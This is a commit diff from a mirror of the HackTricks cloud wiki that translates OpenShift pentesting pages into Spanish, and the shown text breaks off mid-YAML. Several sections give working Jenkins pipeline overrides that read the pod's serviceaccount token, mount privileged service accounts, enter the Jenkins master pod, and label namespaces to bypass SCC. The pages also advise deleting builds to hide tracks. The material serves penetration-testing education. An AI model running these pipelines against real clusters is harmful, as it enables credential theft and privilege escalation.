mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-15 22:32:31 -08:00
Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az
This commit is contained in:
@@ -1,23 +1,19 @@
|
||||
# OpenShift Pentesting
|
||||
|
||||
## Basic Information
|
||||
## Información Básica
|
||||
|
||||
{{#ref}}
|
||||
openshift-basic-information.md
|
||||
{{#endref}}
|
||||
|
||||
## Security Context Constraints
|
||||
## Restricciones de Contexto de Seguridad
|
||||
|
||||
{{#ref}}
|
||||
openshift-scc.md
|
||||
{{#endref}}
|
||||
|
||||
## Privilege Escalation
|
||||
## Escalación de Privilegios
|
||||
|
||||
{{#ref}}
|
||||
openshift-privilege-escalation/
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,35 +1,33 @@
|
||||
# OpenShift - Basic information
|
||||
# OpenShift - Información básica
|
||||
|
||||
## Kubernetes prior b**asic knowledge** <a href="#a94e" id="a94e"></a>
|
||||
## Kubernetes conocimiento b**ásico** <a href="#a94e" id="a94e"></a>
|
||||
|
||||
Before working with OpenShift, ensure you are comfortable with the Kubernetes environment. The entire OpenShift chapter assumes you have prior knowledge of Kubernetes.
|
||||
Antes de trabajar con OpenShift, asegúrate de estar cómodo con el entorno de Kubernetes. Todo el capítulo de OpenShift asume que tienes conocimientos previos de Kubernetes.
|
||||
|
||||
## OpenShift - Basic Information
|
||||
## OpenShift - Información básica
|
||||
|
||||
### Introduction
|
||||
### Introducción
|
||||
|
||||
OpenShift is Red Hat’s container application platform that offers a superset of Kubernetes features. OpenShift has stricter security policies. For instance, it is forbidden to run a container as root. It also offers a secure-by-default option to enhance security. OpenShift, features an web console which includes a one-touch login page.
|
||||
OpenShift es la plataforma de aplicaciones en contenedores de Red Hat que ofrece un superconjunto de características de Kubernetes. OpenShift tiene políticas de seguridad más estrictas. Por ejemplo, está prohibido ejecutar un contenedor como root. También ofrece una opción segura por defecto para mejorar la seguridad. OpenShift cuenta con una consola web que incluye una página de inicio de sesión de un solo toque.
|
||||
|
||||
#### CLI
|
||||
|
||||
OpenShift come with a it's own CLI, that can be found here:
|
||||
OpenShift viene con su propia CLI, que se puede encontrar aquí:
|
||||
|
||||
{{#ref}}
|
||||
https://docs.openshift.com/container-platform/4.11/cli_reference/openshift_cli/getting-started-cli.html
|
||||
{{#endref}}
|
||||
|
||||
To login using the CLI:
|
||||
|
||||
Para iniciar sesión usando la CLI:
|
||||
```bash
|
||||
oc login -u=<username> -p=<password> -s=<server>
|
||||
oc login -s=<server> --token=<bearer token>
|
||||
```
|
||||
|
||||
### **OpenShift - Security Context Constraints** <a href="#a94e" id="a94e"></a>
|
||||
|
||||
In addition to the [RBAC resources](https://docs.openshift.com/container-platform/3.11/architecture/additional_concepts/authorization.html#architecture-additional-concepts-authorization) that control what a user can do, OpenShift Container Platform provides _security context constraints_ (SCC) that control the actions that a pod can perform and what it has the ability to access.
|
||||
Además de los [recursos RBAC](https://docs.openshift.com/container-platform/3.11/architecture/additional_concepts/authorization.html#architecture-additional-concepts-authorization) que controlan lo que un usuario puede hacer, OpenShift Container Platform proporciona _security context constraints_ (SCC) que controlan las acciones que un pod puede realizar y a qué tiene la capacidad de acceder.
|
||||
|
||||
SCC is a policy object that has special rules that correspond with the infrastructure itself, unlike RBAC that has rules that correspond with the Platform. It helps us define what Linux access-control features the container should be able to request/run. Example: Linux Capabilities, SECCOMP profiles, Mount localhost dirs, etc.
|
||||
SCC es un objeto de política que tiene reglas especiales que corresponden con la infraestructura misma, a diferencia de RBAC que tiene reglas que corresponden con la Plataforma. Nos ayuda a definir qué características de control de acceso de Linux el contenedor debería poder solicitar/ejecutar. Ejemplo: Capacidades de Linux, perfiles SECCOMP, montar directorios de localhost, etc.
|
||||
|
||||
{{#ref}}
|
||||
openshift-scc.md
|
||||
@@ -38,7 +36,3 @@ openshift-scc.md
|
||||
{{#ref}}
|
||||
https://docs.openshift.com/container-platform/3.11/architecture/additional_concepts/authorization.html#security-context-constraints
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,43 +1,39 @@
|
||||
# OpenShift - Jenkins
|
||||
|
||||
**The original author of this page is** [**Fares**](https://www.linkedin.com/in/fares-siala/)
|
||||
**El autor original de esta página es** [**Fares**](https://www.linkedin.com/in/fares-siala/)
|
||||
|
||||
This page gives some pointers onto how you can attack a Jenkins instance running in an Openshift (or Kubernetes) cluster
|
||||
Esta página ofrece algunas indicaciones sobre cómo puedes atacar una instancia de Jenkins que se ejecuta en un clúster de Openshift (o Kubernetes).
|
||||
|
||||
## Disclaimer
|
||||
## Descargo de responsabilidad
|
||||
|
||||
A Jenkins instance can be deployed in both Openshift or Kubernetes cluster. Depending in your context, you may need to adapt any shown payload, yaml or technique. For more information about attacking Jenkins you can have a look at [this page](../../../pentesting-ci-cd/jenkins-security/)
|
||||
Una instancia de Jenkins puede ser desplegada tanto en un clúster de Openshift como en Kubernetes. Dependiendo de tu contexto, es posible que necesites adaptar cualquier carga útil, yaml o técnica mostrada. Para más información sobre cómo atacar Jenkins, puedes consultar [esta página](../../../pentesting-ci-cd/jenkins-security/).
|
||||
|
||||
## Prerequisites
|
||||
## Requisitos previos
|
||||
|
||||
1a. User access in a Jenkins instance OR 1b. User access with write permission to an SCM repository where an automated build is triggered after a push/merge
|
||||
1a. Acceso de usuario en una instancia de Jenkins O 1b. Acceso de usuario con permiso de escritura a un repositorio SCM donde se activa una construcción automatizada después de un push/merge.
|
||||
|
||||
## How it works
|
||||
## Cómo funciona
|
||||
|
||||
Fundamentally, almost everything behind the scenes works the same as a regular Jenkins instance running in a VM. The main difference is the overall architecture and how builds are managed inside an openshift (or kubernetes) cluster.
|
||||
Fundamentalmente, casi todo lo que ocurre tras bambalinas funciona igual que una instancia regular de Jenkins que se ejecuta en una VM. La principal diferencia es la arquitectura general y cómo se gestionan las construcciones dentro de un clúster de openshift (o kubernetes).
|
||||
|
||||
### Builds
|
||||
### Construcciones
|
||||
|
||||
When a build is triggered, it is first managed/orchestrated by the Jenkins master node then delegated to an agent/slave/worker. In this context, the master node is just a regular pod running in a namespace (which might be different that the one where workers run). The same applies for the workers/slaves, however they destroyed once the build finished whereas the master always stays up. Your build is usually run inside a pod, using a default pod template defined by the Jenkins admins.
|
||||
Cuando se activa una construcción, primero es gestionada/orquestada por el nodo maestro de Jenkins y luego delegada a un agente/esclavo/trabajador. En este contexto, el nodo maestro es solo un pod regular que se ejecuta en un namespace (que podría ser diferente al de los trabajadores). Lo mismo se aplica a los trabajadores/esclavos, sin embargo, son destruidos una vez que la construcción ha terminado, mientras que el maestro siempre permanece activo. Tu construcción generalmente se ejecuta dentro de un pod, utilizando una plantilla de pod predeterminada definida por los administradores de Jenkins.
|
||||
|
||||
### Triggering a build
|
||||
### Activar una construcción
|
||||
|
||||
You have multiples main ways to trigger a build such as:
|
||||
Tienes múltiples formas principales de activar una construcción, tales como:
|
||||
|
||||
1. You have UI access to Jenkins
|
||||
1. Tienes acceso a la UI de Jenkins
|
||||
|
||||
A very easy and convenient way is to use the Replay functionality of an existing build. It allows you to replay a previously executed build while allowing you to update the groovy script. This requires privileges on a Jenkins folder and a predefined pipeline. If you need to be stealthy, you can delete your triggered builds if you have enough permission.
|
||||
Una forma muy fácil y conveniente es usar la funcionalidad de Repetir de una construcción existente. Te permite repetir una construcción ejecutada previamente mientras te permite actualizar el script groovy. Esto requiere privilegios en una carpeta de Jenkins y un pipeline predefinido. Si necesitas ser sigiloso, puedes eliminar tus construcciones activadas si tienes suficientes permisos.
|
||||
|
||||
2. You have write access to the SCM and automated builds are configured via webhook
|
||||
2. Tienes acceso de escritura al SCM y las construcciones automatizadas están configuradas a través de webhook
|
||||
|
||||
You can just edit a build script (such as Jenkinsfile), commit and push (eventually create a PR if builds are only triggered on PR merges). Keep in mind that this path is very noisy and need elevated privileges to clean your tracks.
|
||||
Puedes simplemente editar un script de construcción (como Jenkinsfile), hacer commit y push (eventualmente crear un PR si las construcciones solo se activan en merges de PR). Ten en cuenta que este camino es muy ruidoso y necesita privilegios elevados para limpiar tus huellas.
|
||||
|
||||
## Jenkins Build Pod YAML override
|
||||
## Anulación de YAML del Pod de Construcción de Jenkins
|
||||
|
||||
{{#ref}}
|
||||
openshift-jenkins-build-overrides.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,278 +1,259 @@
|
||||
# Jenkins in Openshift - build pod overrides
|
||||
# Jenkins en Openshift - sobrescrituras de pod de construcción
|
||||
|
||||
**The original author of this page is** [**Fares**](https://www.linkedin.com/in/fares-siala/)
|
||||
**El autor original de esta página es** [**Fares**](https://www.linkedin.com/in/fares-siala/)
|
||||
|
||||
## Kubernetes plugin for Jenkins
|
||||
This plugin is mostly responsible of Jenkins core functions inside an openshift/kubernetes cluster. Official documentation [here](https://plugins.jenkins.io/kubernetes/)
|
||||
It offers a few functionnalities such as the ability for developers to override some default configurations of a jenkins build pod.
|
||||
## Plugin de Kubernetes para Jenkins
|
||||
Este plugin es principalmente responsable de las funciones centrales de Jenkins dentro de un clúster de openshift/kubernetes. Documentación oficial [aquí](https://plugins.jenkins.io/kubernetes/)
|
||||
Ofrece algunas funcionalidades como la capacidad de los desarrolladores para sobrescribir algunas configuraciones predeterminadas de un pod de construcción de Jenkins.
|
||||
|
||||
## Core functionnality
|
||||
|
||||
This plugin allows flexibility to developers when building their code in adequate environment.
|
||||
## Funcionalidad central
|
||||
|
||||
Este plugin permite flexibilidad a los desarrolladores al construir su código en un entorno adecuado.
|
||||
```groovy
|
||||
podTemplate(yaml: '''
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
spec:
|
||||
containers:
|
||||
- name: maven
|
||||
image: maven:3.8.1-jdk-8
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 99d
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
spec:
|
||||
containers:
|
||||
- name: maven
|
||||
image: maven:3.8.1-jdk-8
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 99d
|
||||
''') {
|
||||
node(POD_LABEL) {
|
||||
stage('Get a Maven project') {
|
||||
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
|
||||
container('maven') {
|
||||
stage('Build a Maven project') {
|
||||
sh 'mvn -B -ntp clean install'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
node(POD_LABEL) {
|
||||
stage('Get a Maven project') {
|
||||
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
|
||||
container('maven') {
|
||||
stage('Build a Maven project') {
|
||||
sh 'mvn -B -ntp clean install'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
## Algunos abusos aprovechando la anulación de yaml de pod
|
||||
|
||||
## Some abuses leveraging pod yaml override
|
||||
|
||||
It can however be abused to use any accessible image such as Kali Linux and execute arbritrary commands using preinstalled tools from that image.
|
||||
In the example below we can exfiltrate the serviceaccount token of the running pod.
|
||||
|
||||
Sin embargo, se puede abusar para usar cualquier imagen accesible, como Kali Linux, y ejecutar comandos arbitrarios utilizando herramientas preinstaladas de esa imagen. En el ejemplo a continuación, podemos exfiltrar el token de serviceaccount del pod en ejecución.
|
||||
```groovy
|
||||
podTemplate(yaml: '''
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
spec:
|
||||
containers:
|
||||
- name: kali
|
||||
image: myregistry/mykali_image:1.0
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
spec:
|
||||
containers:
|
||||
- name: kali
|
||||
image: myregistry/mykali_image:1.0
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
''') {
|
||||
node(POD_LABEL) {
|
||||
stage('Evil build') {
|
||||
container('kali') {
|
||||
stage('Extract openshift token') {
|
||||
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
node(POD_LABEL) {
|
||||
stage('Evil build') {
|
||||
container('kali') {
|
||||
stage('Extract openshift token') {
|
||||
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
A different synthax to achieve the same goal.
|
||||
|
||||
Una sintaxis diferente para lograr el mismo objetivo.
|
||||
```groovy
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Sample to override the namespace of the pod
|
||||
Ejemplo para anular el espacio de nombres del pod
|
||||
```groovy
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
metadata:
|
||||
namespace: RANDOM-NAMESPACE
|
||||
spec:
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
metadata:
|
||||
namespace: RANDOM-NAMESPACE
|
||||
spec:
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Another example which tries mounting a serviceaccount (which may have more permissions than the default one, running your build) based on its name. You may need to guess or enumerate existing serviceaccounts first.
|
||||
|
||||
Otro ejemplo que intenta montar un serviceaccount (que puede tener más permisos que el predeterminado, ejecutando tu build) basado en su nombre. Es posible que necesites adivinar o enumerar los serviceaccounts existentes primero.
|
||||
```groovy
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
serviceAccount: MY_SERVICE_ACCOUNT
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
serviceAccount: MY_SERVICE_ACCOUNT
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
La misma técnica se aplica para intentar montar un Secret. El objetivo final aquí sería averiguar cómo configurar la construcción de tu pod para pivotar o ganar privilegios de manera efectiva.
|
||||
|
||||
The same technique applies to try mounting a Secret. The end goal here would be to figure out how to configure your pod build to effectively pivot or gain privileges.
|
||||
## Ir más allá
|
||||
|
||||
## Going further
|
||||
Una vez que te acostumbres a jugar con ello, utiliza tu conocimiento sobre Jenkins y Kubernetes/Openshift para encontrar configuraciones incorrectas / abusos.
|
||||
|
||||
Once you get used to play around with it, use your knowledge on Jenkins and Kubernetes/Openshift to find misconfigurations / abuses.
|
||||
Pregúntate las siguientes preguntas:
|
||||
|
||||
Ask yourself the following questions:
|
||||
- ¿Qué cuenta de servicio se está utilizando para desplegar pods de construcción?
|
||||
- ¿Qué roles y permisos tiene? ¿Puede leer secretos del namespace en el que me encuentro actualmente?
|
||||
- ¿Puedo enumerar más pods de construcción?
|
||||
- Desde un sa comprometido, ¿puedo ejecutar comandos en el nodo/pod maestro?
|
||||
- ¿Puedo enumerar más el clúster para pivotar a otro lugar?
|
||||
- ¿Qué SCC se aplica?
|
||||
|
||||
- Which service account is being used to deploy build pods?
|
||||
- What roles and permissions does it have? Can it read secrets of the namespace I am currently in?
|
||||
- Can I further enumerate other build pods?
|
||||
- From a compromised sa, can I execute commands on the master node/pod?
|
||||
- Can I further enumerate the cluster to pivot elsewhere?
|
||||
- Which SCC is applied?
|
||||
Puedes averiguar qué comandos oc/kubectl emitir [aquí](../openshift-basic-information.md) y [aquí](../../kubernetes-security/kubernetes-enumeration.md).
|
||||
|
||||
You can find out which oc/kubectl commands to issue [here](../openshift-basic-information.md) and [here](../../kubernetes-security/kubernetes-enumeration.md).
|
||||
### Posibles escenarios de privesc/pivoting
|
||||
|
||||
### Possible privesc/pivoting scenarios
|
||||
Supongamos que durante tu evaluación descubriste que todas las construcciones de jenkins se ejecutan dentro de un namespace llamado _worker-ns_. Te diste cuenta de que una cuenta de servicio predeterminada llamada _default-sa_ está montada en los pods de construcción, sin embargo, no tiene muchos permisos excepto acceso de lectura a algunos recursos, pero pudiste identificar una cuenta de servicio existente llamada _master-sa_.
|
||||
Supongamos también que tienes el comando oc instalado dentro del contenedor de construcción en ejecución.
|
||||
|
||||
Let's assume that during your assessment you found out that all jenkins builds run inside a namespace called _worker-ns_. You figured out that a default serviceaccount called _default-sa_ is mounted on the build pods, however it does not have so many permissions except read access on some resources but you were able to identify an existing service account called _master-sa_.
|
||||
Let's also assume that you have the oc command installed inside the running build container.
|
||||
|
||||
With the below build script you can take control of the _master-sa_ serviceaccount and enumerate further.
|
||||
Con el siguiente script de construcción puedes tomar control de la cuenta de servicio _master-sa_ y enumerar más.
|
||||
```groovy
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
serviceAccount: master-sa
|
||||
containers:
|
||||
- name: evil
|
||||
image: random_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
|
||||
sh 'oc --token=$token whoami'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
serviceAccount: master-sa
|
||||
containers:
|
||||
- name: evil
|
||||
image: random_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
|
||||
sh 'oc --token=$token whoami'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
Depending on your access, either you need to continue your attack from the build script or you can directly login as this sa on the running cluster:
|
||||
Dependiendo de su acceso, ya sea que necesite continuar su ataque desde el script de construcción o puede iniciar sesión directamente como este sa en el clúster en ejecución:
|
||||
```bash
|
||||
oc login --token=$token --server=https://apiserver.com:port
|
||||
```
|
||||
|
||||
|
||||
If this sa has enough permission (such as pod/exec), you can also take control of the whole jenkins instance by executing commands inside the master node pod, if it's running within the same namespace. You can easily identify this pod via its name and by the fact that it must be mounting a PVC (persistant volume claim) used to store jenkins data.
|
||||
|
||||
Si este sa tiene suficientes permisos (como pod/exec), también puedes tomar el control de toda la instancia de jenkins ejecutando comandos dentro del pod del nodo maestro, si se está ejecutando dentro del mismo espacio de nombres. Puedes identificar fácilmente este pod a través de su nombre y por el hecho de que debe estar montando un PVC (reclamación de volumen persistente) utilizado para almacenar datos de jenkins.
|
||||
```bash
|
||||
oc rsh pod_name -c container_name
|
||||
```
|
||||
|
||||
In case the master node pod is not running within the same namespace as the workers you can try similar attacks by targetting the master namespace. Let's assume its called _jenkins-master_. Keep in mind that serviceAccount master-sa needs to exist on the _jenkins-master_ namespace (and might not exist in _worker-ns_ namespace)
|
||||
|
||||
En caso de que el pod del nodo maestro no esté ejecutándose dentro del mismo espacio de nombres que los trabajadores, puedes intentar ataques similares dirigiéndote al espacio de nombres maestro. Supongamos que se llama _jenkins-master_. Ten en cuenta que el serviceAccount master-sa debe existir en el espacio de nombres _jenkins-master_ (y puede que no exista en el espacio de nombres _worker-ns_).
|
||||
```groovy
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
metadata:
|
||||
namespace: jenkins-master
|
||||
spec:
|
||||
serviceAccount: master-sa
|
||||
containers:
|
||||
- name: evil-build
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
metadata:
|
||||
namespace: jenkins-master
|
||||
spec:
|
||||
serviceAccount: master-sa
|
||||
containers:
|
||||
- name: evil-build
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# OpenShift - Privilege Escalation
|
||||
# OpenShift - Escalación de Privilegios
|
||||
|
||||
## Missing Service Account
|
||||
## Cuenta de Servicio Faltante
|
||||
|
||||
{{#ref}}
|
||||
openshift-missing-service-account.md
|
||||
@@ -12,12 +12,8 @@ openshift-missing-service-account.md
|
||||
openshift-tekton.md
|
||||
{{#endref}}
|
||||
|
||||
## SCC Bypass
|
||||
## Bypass de SCC
|
||||
|
||||
{{#ref}}
|
||||
openshift-scc-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,27 +1,23 @@
|
||||
# OpenShift - Missing Service Account
|
||||
# OpenShift - Cuenta de Servicio Faltante
|
||||
|
||||
## Missing Service Account
|
||||
## Cuenta de Servicio Faltante
|
||||
|
||||
It happens that cluster is deployed with preconfigured template automatically setting Roles, RoleBindings and even SCC to service account that is not yet created. This can lead to privilege escalation in the case where you can create them. In this case, you would be able to get the token of the SA newly created and the role or SCC associated. Same case happens when the missing SA is part of a missing project, in this case if you can create the project and then the SA you get the Roles and SCC associated.
|
||||
Sucede que el clúster se despliega con una plantilla preconfigurada que establece automáticamente Roles, RoleBindings e incluso SCC a una cuenta de servicio que aún no ha sido creada. Esto puede llevar a una escalada de privilegios en el caso de que puedas crearlas. En este caso, podrías obtener el token de la SA recién creada y el rol o SCC asociado. El mismo caso ocurre cuando la SA faltante es parte de un proyecto faltante; en este caso, si puedes crear el proyecto y luego la SA, obtienes los Roles y SCC asociados.
|
||||
|
||||
<figure><img src="../../../images/openshift-missing-service-account-image1.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
In the previous graph we got multiple AbsentProject meaning multiple project that appears in Roles Bindings or SCC but are not yet created in the cluster. In the same vein we also got an AbsentServiceAccount.
|
||||
En el gráfico anterior, tenemos múltiples AbsentProject, lo que significa múltiples proyectos que aparecen en Roles Bindings o SCC pero que aún no han sido creados en el clúster. En la misma línea, también tenemos una AbsentServiceAccount.
|
||||
|
||||
If we can create a project and the missing SA in it, the SA will inherited from the Role or the SCC that were targeting the AbsentServiceAccount. Which can lead to privilege escalation.
|
||||
Si podemos crear un proyecto y la SA faltante en él, la SA heredará del Rol o el SCC que estaban dirigidos a la AbsentServiceAccount. Lo que puede llevar a una escalada de privilegios.
|
||||
|
||||
The following example show a missing SA which is granted node-exporter SCC:
|
||||
El siguiente ejemplo muestra una SA faltante que tiene concedido el SCC de node-exporter:
|
||||
|
||||
<figure><img src="../../../images/openshift-missing-service-account-image2.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Tools
|
||||
## Herramientas
|
||||
|
||||
The following tool can be use to enumerate this issue and more generally to graph an OpenShift cluster:
|
||||
La siguiente herramienta se puede usar para enumerar este problema y, más generalmente, para graficar un clúster de OpenShift:
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/maxDcb/OpenShiftGrapher
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# Openshift - SCC bypass
|
||||
|
||||
**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
|
||||
**El autor original de esta página es** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
|
||||
|
||||
## Privileged Namespaces
|
||||
## Namespaces privilegiados
|
||||
|
||||
By default, SCC does not apply on following projects :
|
||||
Por defecto, SCC no se aplica en los siguientes proyectos:
|
||||
|
||||
- **default**
|
||||
- **kube-system**
|
||||
@@ -13,130 +13,114 @@ By default, SCC does not apply on following projects :
|
||||
- **openshift-infra**
|
||||
- **openshift**
|
||||
|
||||
If you deploy pods within one of those namespaces, no SCC will be enforced, allowing for the deployment of privileged pods or mounting of the host file system.
|
||||
Si despliegas pods dentro de uno de esos namespaces, no se aplicará SCC, lo que permitirá el despliegue de pods privilegiados o el montaje del sistema de archivos del host.
|
||||
|
||||
## Namespace Label
|
||||
## Etiqueta de Namespace
|
||||
|
||||
There is a way to disable the SCC application on your pod according to RedHat documentation. You will need to have at least one of the following permission :
|
||||
|
||||
- Create a Namespace and Create a Pod on this Namespace
|
||||
- Edit a Namespace and Create a Pod on this Namespace
|
||||
Hay una manera de deshabilitar la aplicación de SCC en tu pod según la documentación de RedHat. Necesitarás tener al menos uno de los siguientes permisos:
|
||||
|
||||
- Crear un Namespace y Crear un Pod en este Namespace
|
||||
- Editar un Namespace y Crear un Pod en este Namespace
|
||||
```bash
|
||||
$ oc auth can-i create namespaces
|
||||
yes
|
||||
yes
|
||||
|
||||
$ oc auth can-i patch namespaces
|
||||
yes
|
||||
yes
|
||||
```
|
||||
|
||||
The specific label`openshift.io/run-level` enables users to circumvent SCCs for applications. As per RedHat documentation, when this label is utilized, no SCCs are enforced on all pods within that namespace, effectively removing any restrictions.
|
||||
La etiqueta específica `openshift.io/run-level` permite a los usuarios eludir los SCC para aplicaciones. Según la documentación de RedHat, cuando se utiliza esta etiqueta, no se aplican SCC a todos los pods dentro de ese espacio de nombres, eliminando efectivamente cualquier restricción.
|
||||
|
||||
<figure><img src="../../../images/Openshift-RunLevel4.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Add Label
|
||||
|
||||
To add the label in your namespace :
|
||||
## Agregar Etiqueta
|
||||
|
||||
Para agregar la etiqueta en su espacio de nombres:
|
||||
```bash
|
||||
$ oc label ns MYNAMESPACE openshift.io/run-level=0
|
||||
```
|
||||
|
||||
To create a namespace with the label through a YAML file:
|
||||
|
||||
Para crear un namespace con la etiqueta a través de un archivo YAML:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Namespace
|
||||
metadata:
|
||||
name: evil
|
||||
labels:
|
||||
openshift.io/run-level: 0
|
||||
name: evil
|
||||
labels:
|
||||
